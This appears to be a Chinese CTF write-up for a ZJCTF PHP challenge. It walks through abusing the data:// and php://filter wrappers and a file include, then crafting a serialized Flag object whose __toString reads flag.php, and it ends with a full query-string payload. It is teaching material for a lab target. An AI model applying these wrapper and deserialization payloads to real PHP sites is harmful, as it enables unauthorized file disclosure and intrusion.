打开题目,给了一些源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
以上就是题目给的源码,接下来我是咋样判断是用php伪协议做的呢
1、file_get_contents($text,'r')==="welcome to the zjctf")// 根据一行代码,首先file_get_contents是得读取到"文件"里的内容,而$text是一个变量,file_get_contents不能读取一个变量,(可以自己去本地测试一下),所以就必须得让$text变成一个文件,就必须得用到php伪协议中的
data://
协议data://
协议 就是把字符串包装成一个文件来执行。
2、第二个原因是 include($file); //useless.php 当直接访问useless.php时,没有出现任何东西,就可以判断这可能需要
php://filter
来读取,通过以上判断,就可以得出这是个考php伪协议的题目。
通过以上猜想 现在就开始解题。
成功读取到,如果没用data的话。
根本没有读取到。
接下来就是用到preg_match()正则匹配函数了,
如果查找到的话,就会返回 1 ,否则返回 0;
所以file中不能包含flag,如果包含的话,就会执行,然后退出,拿不到flag,所以根据提示useless.php,先读取其里面的代码。
由于我使用的过滤器是base64编码的,所以我们就得去解码。
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
得到这个代码。这里面用到了一个 toString() 函数,我们该怎么触发,
__tostring函数在 类 被echo、print等输出时会被调用,因为源代码中echo $password,所以这里给password传递序列换字符串。
__construct(),构造函数时
__destruct(),析构函数时
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
以下是构造的序列化代码,
<?php
class Flag
{
public $file='flag.php';
}
$a=new Flag;
echo serialize($a) ;
?>
解释一下为什么要这样写。
根据题目给的代码,就是我们在序列化之后,赋值给password,password会被反序列化成原来的代码在赋值给password,然后echo $password,就相当于echo 了一个类,就会触发到我们写的代码里的tostring,最后就会
这里面的file为我们设置的flag.php。
最后在源码里拿到flag.
playlod :?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
大佬的php伪协议详解
php - PHP伪协议总结_个人文章 - SegmentFault 思否
有两篇 可以结合起来学习学习
实在看不懂的还可以b站看这个博主讲的。